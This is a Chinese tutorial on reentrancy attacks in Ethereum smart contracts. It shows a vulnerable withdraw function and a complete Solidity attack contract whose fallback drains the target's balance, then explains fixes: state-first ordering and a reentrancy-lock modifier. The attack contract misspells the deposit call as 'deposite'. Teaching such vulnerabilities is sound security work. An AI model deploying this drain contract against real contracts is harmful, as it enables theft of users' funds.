什么是重入攻击?
重入攻击(Reentrancy Attack)是区块链智能合约中的一种常见安全漏洞,尤其在以太坊等支持智能合约的区块链平台中较为突出。它发生在一个合约在调用另一个合约(或地址)的函数时,未更新自身状态之前,对方合约又重新调用原合约的函数,从而导致逻辑被重复执行,进而被恶意利用。
举一个经典例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| contract Vulnerable { mapping(address => uint) public balances;
function withdraw() public { uint amount = balances[msg.sender]; require(amount > 0);
// 向用户发送 ETH (bool success, ) = msg.sender.call{value: amount}(""); require(success);
// ⚠️ 问题在这里:在转账之后才修改状态 balances[msg.sender] = 0; }
function deposit() public payable { balances[msg.sender] += msg.value; } }
|
下面的攻击合约就能通过fallback
回调函数发起重入攻击
从而盗取Vulnerable
账户中的所有资金。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
import "./Vulnerable.sol";
contract Attack { address owner; Vulnerable public vault;
constructor(address _vault) { owner = msg.sender; vault = Vulnerable(payable(_vault)); } function attack() public { vault.deposite{value: 0.1 ether}(); vault.withdraw(); }
// 通过回调函数发起重入攻击,盗取目标合约的所有资金 fallback() external payable { if (address(vault).balance > 0) { vault.withdraw(); } }
function withdraw() public { if (msg.sender == owner) { payable(msg.sender).transfer(address(this).balance); } } }
|
当攻击者通过Attack
方法先向目标合约存入一笔资金,随后取款,在目标合约进行转账的时候使用msg.sender.call{value: amount}("");
会调用到Attack
中的回调函数,而回调函数会再次调用取款函数,由于目标合约中的 balances[msg.sender]
在此时任然没有被修改为0,这就导致攻击者可以一直触发转账,直到账户中资金为0。
如何解决?
先修改状态变量
在取款函数中,先修改状态变量再进行转账操作即可防止重入攻击。
1 2 3 4 5 6 7 8
| function withdraw() public { uint amount = balances[msg.sender]; require(amount > 0);
balances[msg.sender] = 0; // ✅ 先修改状态 (bool success, ) = msg.sender.call{value: amount}(""); require(success); }
|
使用互斥锁
在同一次交易调用中,对取款函数的状态加锁,如果攻击者试图在回调函数中再次调用取款函数,就会因为locked
变量无法重复调用。
openzeppelin已经给出最佳实现。
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuardTransient.sol
1 2 3 4 5 6 7 8 9 10 11
| bool internal locked; modifier noReentrant() { require(!locked, "No reentrancy"); locked = true; _; locked = false; }
function withdraw() public noReentrant { ... }
|
限制调用方式(比如用 transfer 或 send 限制 gas)
不推荐长期使用这种方式,现在很多攻击已经绕过gas
限制了。